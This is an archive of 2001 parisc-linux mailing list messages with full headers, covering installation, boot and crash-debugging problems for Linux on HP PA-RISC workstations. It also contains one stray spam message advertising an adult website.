> Question 1 : After booting up from network, we logged in serial console and
> palo is not in HP box.
> so we copied palo from the NFS server into the NFS directory so that the HP
> box can "see it" . However, it cannot run "palo". ( we think that palo is
> compiled under intel chip, and don't like the HP's Risc CPU).

The Debian package for palo is on the CD and in the Debian mirror system.

> 2. We tried to compile "palo" again in HP box, but we cannot compile it?
> any idea about this,

Please use the Debian package.  You can install the Debian package from
the CD with 'dpkg --install palo_<version>.deb'.

If you want help compiling palo please send the output from 'make'.

	-Paul




From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HD not bootable after installation....
Date: Fri, 13 Jul 2001 22:48:28 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <200107140448.WAA28246@puffin.external.hp.com>
References: <wpedot@harris.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620306 22401 80.91.229.3 (22 Nov 2014 01:38:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:26 +0000 (UTC)
Cc: "'Parisc Linux Mailinglist'" <parisc-linux@lists.parisc-linux.org>
To: "Pedot, Wolfgang" <wpedot@harris.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 13 22:49:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6266F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Jul 2001 22:49:50 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA28246;
	Fri, 13 Jul 2001 22:48:28 -0600
In-Reply-To: Message from "Pedot, Wolfgang" <wpedot@harris.com> 
   of "Fri, 13 Jul 2001 06:14:02 EDT." <8D4C69676E66D511A1CB00508BBBB19216268C@ranmx1.ran.harris.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11633

"Pedot, Wolfgang" wrote:
...
> After installing an other Harddisk the installation
> went fine but for some reason this new Harddisk is not bootable
> (Palo was executed successfully), its not in the list of bootable
> devices at startup and if i select it manualy it fails to boot.
> But after booting from network the disk is detected. Since this harddisk
> was in a PC before I wonder if theres anything
> I may have forgotten...

Perhaps. To add/remove jumpers on the HD to enable "Auto-Spinup"?
You need a spec sheet for the HD to figure out which jumpers those are.
If you only have 1 or 2 HDs, it's better to disable "Spinup Delay".

PC BIOS (or scsi controller Expansion ROM) and Linux SCSI drivers 
are smart enough to send a "Start Unit" cmd to spin up the disk.
PDC on most (all?) parisc workstations is not. I don't think the
servers are any smarter but don't know for sure.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] help debuging HMPC
Date: Sat, 14 Jul 2001 00:20:00 -0600
Lines: 91
Approved: news@gmane.org
Message-ID: <200107140620.AAA28577@puffin.external.hp.com>
References: <20010713110110.A9795@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620306 22406 80.91.229.3 (22 Nov 2014 01:38:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 14 00:20:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7353482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Jul 2001 00:20:51 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA28577;
	Sat, 14 Jul 2001 00:20:00 -0600
In-Reply-To: Message from rbrad@beavis.ybsoft.com (Ryan Bradetich) 
   of "Fri, 13 Jul 2001 11:01:10 MDT." <20010713110110.A9795@beavis.ybsoft.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11634

Ryan Bradetich wrote:
> Hello parisc-linux hackers,
> 
> Now that I am starting to have time to devote on this port again, 
> I started to look into the HPMC crash when doing a cpio from the 
> scsi cdrom drive to a hard drive again.
...

I don't know what the problem is but I can help clarify some
of the issues below.

...
> This is the instruction that causes the HPMC (IAOQ address - 8):
> 	ldwa  r0(r26),r26

Given the IOAQ data below, I'm pretty sure GR26 is garbage.

Anyway, the IO port address is most likely still in GR24
since it's the third arg to dino_inX. The call to gsc_readX
won't (shouldn't) clobber that.


> My (limited) understanding of appropriate values for an address
> being passed to the _gsc_readl function would be an I/O address,
> which is >= 0xf0000000.  If my understanding is correct, then the
> C200+ is properly HPMC'ing because of the invalid I/O address.

That's right.
The arg to gsc_readX should be the address of Dino's PCI_DATA register.
That's what generates the IO Port cycle.

> To my surprise, I am not getting the expected values back even in the
> known indexes when I do the ser mr <addr> 5 in the boot menu after the
> HPMC.

That was a good idea!

> 	I grabbed the address from the system map and in this case:
> 	102db05c D rbrad_debug
> 
> 		Main Menu: Enter command > ser mr 0x102db05c 5

a500 console boot output shows:
| Segment 0 load 00100000 size 2163856 mediaptr 0x1000
| Segment 1 load 00312000 size 472144 mediaptr 0x212000
| Segment 2 load 00388000 size 302608 mediaptr 0x286000
| Segment 3 load 003d4000 size 16384 mediaptr 0x2d0000
| branching to kernel entry point 0x00100000

Not sure how to form the proper address from System.map.
I'd guess subtract 0x00100000?

> 		b. The address present in the IAOQ is not present in
> 		   the stack trace that is dumped.  The IAOQ value is:
> 		
> 			IAOQ: 102200d0 102207e4	

Do these values mean the CPU was branching?
Normally I expect them to be +4 apart.
But it suggests we executed the ldwa insn and trashed GR26
before the HPMC was recorded.

> 		and this is the stack dump range:
> 
> 			Dumping Stack from 10320000 to 10320a40:

The stack is just a temporary storage space for code to save registers.
IOAQ reflects the state of the CPU and has nothing to do with stack.

> 		running the astk command from the build-tools also does
> 		not show the dino_in32 or the _gsc_readl addresses in
> 		the stack trace either.

right - only time you'll see a function address (which was part
of the call chain) is when GR02 gets saved.
gsc_readX is a "leaf" routine and thus doesn't save GR02.
The last thing on the stack should be the caller to dino_inX().

> I have a bunch of files saved off in ~rbrad on p.e.h.c for people to look
> at if they are interested.

I'll take a look and see if anything obvious pops up...

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO list
Date: Sat, 14 Jul 2001 21:53:27 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010714215327.R3048@parcelfarce.linux.theplanet.co.uk>
References: <20010713201008.Q3048@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620306 22411 80.91.229.3 (22 Nov 2014 01:38:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 14 14:53:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF3A7482A
	for <parisc-linux@parisc-linux.org>; Sat, 14 Jul 2001 14:53:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15LWPn-00018S-00; Sat, 14 Jul 2001 21:53:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010713201008.Q3048@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Jul 13, 2001 at 08:10:08PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11635

Removing the ones which are fixed (or found to be not-bugs) leaves:

>  * Documentation/parisc/unwritten appears out of date

Grant has this one in progress.

>  * cache_init wants some printk DEBUG levels adding
>    [In general grep printk(\" is useful to check]

Helge in progress.

>  * led_get_net_stats() is interrupt-unsafe.

Helge in progress.

>  * ptrace is chock-full of intrusive debug code.  either remove it or
>    macroise it.
> 
>  * Why does the superio driver BUG and thus oops rather than printking an
>    error and continuing without that driver ?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux-0.9.2: XFree on C180 [GRAPHICS(3)] ?
Date: Sun, 15 Jul 2001 11:41:13 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <01071511411301.00948@octopus>
Reply-To: Reinhard.Gimbel@freenet.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620307 22414 80.91.229.3 (22 Nov 2014 01:38:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 15 03:41:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64508482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 03:41:28 -0600 (MDT)
Original-Received: from [194.97.50.144] (helo=mx1.freenet.de)
	by mout1.freenet.de with esmtp (Exim 3.30 #3)
	id 15LiP1-0005Xf-00
	for parisc-linux@lists.parisc-linux.org; Sun, 15 Jul 2001 11:41:27 +0200
Original-Received: from b191e.pppool.de ([213.7.25.30] helo=octopus)
	by mx1.freenet.de with smtp (Exim 3.30 #3)
	id 15LiP0-0005oT-01
	for parisc-linux@lists.parisc-linux.org; Sun, 15 Jul 2001 11:41:27 +0200
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11636

Hi folks !

If I get my C180 up'n'running (see an other post to this 
mailing list) I would like to know if there is a chance to get 
XFree running on the secondary graphics port [GRAPHICS(3)] ?

Because I don't have an original HP monitor (with that special 
connector) nor an adapter to an ordinary PC-style monitor 
(15pin MinD) I have to use the secondary graphics port of my 
C180 (seems to be an EISA graphics card; not yet disassembled 
my box :-)

Further more I don't have HIL keyboard and mouse so I have to 
use PS/2 keyboard and mouse. But this seems to be no problem 
(according some information one could read on the net and my 
experience so far).

The boot of the palinux-0.9.2 image via GRAPHICS(3) results in 
a blue screen (luckily not the one we know from M$ products 
:-), but at least the keyboard input seems to work up to this 
point.

Again: Will I/we get XFree running on the C180 ?

Any idea ?

THX !

Reinhard.




From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux-0.9.2: Installation fails on C180
Date: Sun, 15 Jul 2001 11:26:46 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <01071511264600.00948@octopus>
Reply-To: Reinhard.Gimbel@freenet.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620307 22417 80.91.229.3 (22 Nov 2014 01:38:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:27 +0000 (UTC)
Cc: okraus@t-online.de
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 15 03:41:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id 456A4482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 03:41:28 -0600 (MDT)
Original-Received: from [194.97.50.144] (helo=mx1.freenet.de)
	by mout1.freenet.de with esmtp (Exim 3.30 #3)
	id 15LiP0-0005Xd-00; Sun, 15 Jul 2001 11:41:26 +0200
Original-Received: from b191e.pppool.de ([213.7.25.30] helo=octopus)
	by mx1.freenet.de with smtp (Exim 3.30 #3)
	id 15LiP0-0005oT-00; Sun, 15 Jul 2001 11:41:26 +0200
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11637

Hi folks !

Recently I bought an C180 at a local 2nd hand computer store. 

I tried to install the latest palinux-0.9.2 (esiee.fr), but the 
installation failed :-(

The download itself went ok (md5sums ok), no probs while 
burning the ISO image (using xcdrgtk). The C180 boots from the 
CD-R, the system can be set up (HD partitioning, creating the 
ext2 filesystems, etc.) but during heavy traffic on the SESCSI 
bus the system crashes (sometime during kernel installation, 
sometimes during base system installation).

I double-checked the hardware (cables, termination, also 
replaced the CD-R drive by another one).

In the log file (minicom log from my Intel-Linux box) I could 
find the following lines which may be could give a hint what's 
going on (or even not ...). Furthermre you can find the 
postmorted registerdump:

[...]

Dino version 2.1 (bridge mode) found at 0xf2000000
 
 
The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, 
A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this 
problem.
Models affected: C180, C160, C160L, B160L, and B132L 
workstations.
 
dino_bridge_init: IO_ADDR_EN hasn't been configured.
kernel BUG at dino.c:808!

[...]

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111100100001110
r0-3     00000000 102b2810 101c97cc 1f7a3a00
r4-7     1f7a3a28 00000006 00000000 00000000
r8-11    1f7a2000 000000ff 1fe02a74 00000200
r12-15   102b2810 00000001 00000400 1f584688
r16-19   1f584588 00000000 00000000 dae998dc
r20-23   00000008 1e1fc500 00000000 0000000f
r24-27   00000000 00000006 1f7a2000 1028a010
r28-31   00000000 00000400 1f584dc0 101bd938
sr0-3    00000000 000000b5 00000000 000000b5
sr4-7    00000000 00000000 00000000 00000000
 
IASQ: 00000000 00000000 IAOQ: 101d3004 101d3008
 IIR: 0e641288    ISR: 00000000  IOR: dae998e0
 ORIG_R28: 1073e740

[...]

I do not know when my maschine was shipped (as I wrote above 
it's a used one).

Because the STI installation did not lead to any success 
currently I'm using serial_1 as the boot console.

I do not have much knowledge from HP workstations (but some 
knowledge from older SUN workstations, much VME-bus knowledge 
[older Motorola-CPUs], much Intel-PC knowledge)

Has anybody outthere an idea ?

Many thanks in advance for your help !

Reinhard.




From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: friends@openxxx.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hello, your friend recommended openxxx to you
Date: Sun, 15 Jul 2001 11:58:08 -0600 (MDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <20010715175808.85F4B482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620307 22419 80.91.229.3 (22 Nov 2014 01:38:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 15 11:58:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.mcwhirter-wyatt.com (w179.z064001219.mem-tn.dsl.cnc.net [64.1.219.179])
	by dsl2.external.hp.com (Postfix) with SMTP id 85F4B482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 11:58:08 -0600 (MDT)
Original-Received: from localhost
	([211.75.142.146])
	by mail.mcwhirter-wyatt.com; Sun, 15 Jul 2001 12:55:24 -0500
X-Mailer: Perl+Mail::Sender 0.7.10 by Jan Krynicky
Xref: news.gmane.org gmane.linux.ports.parisc:11638


You have been invited to check out this adult site
by one of your friends who visited us.

our URL is http://www.openxxx.net/
enjoy,
OpenXXX TEAM 2001






From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Install on a 715/50 (wont boot)
Date: Sun, 15 Jul 2001 16:53:19 -0500 (CDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10107151647540.1283-100000@jesse.crash.lan>
References: <8D4C69676E66D511A1CB00508BBBB192162684@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620308 22422 80.91.229.3 (22 Nov 2014 01:38:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:28 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 15 15:54:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pop03-srv.alltel.net (pop03.alltel.net [166.102.165.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61E61482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 15:54:36 -0600 (MDT)
Original-Received: from [162.39.130.132] by pop03-srv.alltel.net with ESMTP
          id <20010715215148.UQAW5378.pop03-srv.alltel.net@[162.39.130.132]>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 15 Jul 2001 16:51:48 -0500
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <8D4C69676E66D511A1CB00508BBBB192162684@ranmx1.ran.harris.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11639

Hello all, 
I've been following posts watching the port mature. 
 I d/led the .9.2 install.iso and it doesn't boot, I'm using a Toshiba
external cdrom from my SS10.
715/50 48 megs, 2x 540meg drives. HP Unix died on these drives after a
hardboot and no media to reinstall. 

I chose boot p2 (cdrom drive) and I get Failed to Initalize SCSI 2.0.0
and then several neat rows of hex. 
 Could it be the drive isn't compatible or am I doing something else
wrong. 
thanks 
Terry



Achilles' Biological Findings:
        (1) If a child looks like his father, that's heredity.  If he
            looks like a neighbor, that's environment.
        (2) A lot of time has been wasted arguing over what came first
            -- the chicken or the egg.  It was undoubtedly the
            rooster.








From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] setting Date via boot admin console
Date: Sun, 15 Jul 2001 17:42:03 -0500 (CDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10107151740310.1407-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620308 22424 80.91.229.3 (22 Nov 2014 01:38:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 15 16:43:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pop02-srv.alltel.net (pop02.alltel.net [166.102.165.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19A69482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 16:43:20 -0600 (MDT)
Original-Received: from [162.39.130.132] by pop02-srv.alltel.net with ESMTP
          id <20010715224317.VDHT17479.pop02-srv.alltel.net@[162.39.130.132]>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 15 Jul 2001 17:43:17 -0500
X-Sender: catfish@jesse.crash.lan
Xref: news.gmane.org gmane.linux.ports.parisc:11640

I know this sounds like a stupid question, but whats the proper syntax for
setting the date via boot admin, I've checked docs.hp.com and tried every
imaginable syntax to no avail. 
Thanks again, 
Terry



Achilles' Biological Findings:
        (1) If a child looks like his father, that's heredity.  If he
            looks like a neighbor, that's environment.
        (2) A lot of time has been wasted arguing over what came first
            -- the chicken or the egg.  It was undoubtedly the
            rooster.







From - Thu Nov 08 21:18:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Handrich <Michael_Handrich@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 715-33
Date: Mon, 16 Jul 2001 01:31:22 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <9049807937.20010716013122@gmx.de>
Reply-To: Michael Handrich <Michael_Handrich@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620308 22433 80.91.229.3 (22 Nov 2014 01:38:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 15 17:32:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id A91EF482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 17:32:26 -0600 (MDT)
Original-Received: (qmail 9528 invoked by uid 0); 15 Jul 2001 23:32:25 -0000
Original-Received: from 90-136.f.dial.o-tel-o.net (HELO MICHELNOTE) (212.144.90.136)
  by mail.gmx.net (mail08) with SMTP; 15 Jul 2001 23:32:25 -0000
X-Mailer: The Bat! (v1.52f) Business
X-Priority: 3 (Normal)
Xref: news.gmane.org gmane.linux.ports.parisc:11641

Hello parisc-linux,

  i found the HP 715-33 on the following list:
  These systems currently have problems or lack hardware specific support
  to make them fully functional

  and i wonder if this system is supported or not. If it is not supported,
  do you need a 715-33 ? If there is a developer (in germany) interested
  in such a System i could offer such a machine.

-- 
Best regards,
 Michael                          mailto:Michael_Handrich@gmx.de





From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] help debuging HMPC
Date: Sun, 15 Jul 2001 21:31:57 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20010715213157.A13729@beavis.ybsoft.com>
References: <200107140620.AAA28577@puffin.external.hp.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620309 22446 80.91.229.3 (22 Nov 2014 01:38:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 15 21:32:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amanda.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id A56B9482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 21:32:01 -0600 (MDT)
Original-Received: from beavis.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by amanda.ybsoft.com (Postfix) with ESMTP
	id CFFC85873A; Sun, 15 Jul 2001 14:33:24 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id D2558BC72; Sun, 15 Jul 2001 21:31:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200107140620.AAA28577@puffin.external.hp.com>
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11642

On Sat, Jul 14, 2001 at 12:20:00AM -0600, Grant Grundler wrote:

> > This is the instruction that causes the HPMC (IAOQ address - 8):
> > 	ldwa  r0(r26),r26
> 
> Given the IOAQ data below, I'm pretty sure GR26 is garbage.
> 
> Anyway, the IO port address is most likely still in GR24
> since it's the third arg to dino_inX. The call to gsc_readX
> won't (shouldn't) clobber that.

Just a quick clarification:

I macro expanded dino_in32 into this:
	static u32 dino_in32 (struct pci_hba_data *d, u16 addr);

dino_in32 only takes two arguments, so I should check GR25 and manually
perform the calculations in the dino_in32 to get the proper address
passed to the _gsc_readl function, correct?  


> The stack is just a temporary storage space for code to save registers.
> IOAQ reflects the state of the CPU and has nothing to do with stack.

Doh .. ok.  This makes sense to me now. *sigh*

> > 		running the astk command from the build-tools also does
> > 		not show the dino_in32 or the _gsc_readl addresses in
> > 		the stack trace either.
> 
> right - only time you'll see a function address (which was part
> of the call chain) is when GR02 gets saved.
> gsc_readX is a "leaf" routine and thus doesn't save GR02.
> The last thing on the stack should be the caller to dino_inX().

This also make sense to me.  Thanks for your time and explaination Grant!

- Ryan

> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/100 no longer boots into console?
Date: Sun, 15 Jul 2001 19:50:39 -0800 (AKDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0107151938330.529-100000@goliath>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620309 22452 80.91.229.3 (22 Nov 2014 01:38:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:29 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 15 21:53:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from goliath (cable-207-5-237-24.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC170482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 21:53:10 -0600 (MDT)
Original-Received: from cable-207-5-237-24.anchorageak.net (cable-207-5-237-24.anchorageak.net [24.237.5.207])
	by goliath (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA01000
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 19:50:39 -0800
X-X-Sender: <tom@goliath>
Xref: news.gmane.org gmane.linux.ports.parisc:11643

So I upgraded from the 0.9 to the latest 0.91. Exerything worked nicely,
no errors, except now I get no login on the console. Looking over the boot
messages there's no errors, but there is two lines saying the FB is alive
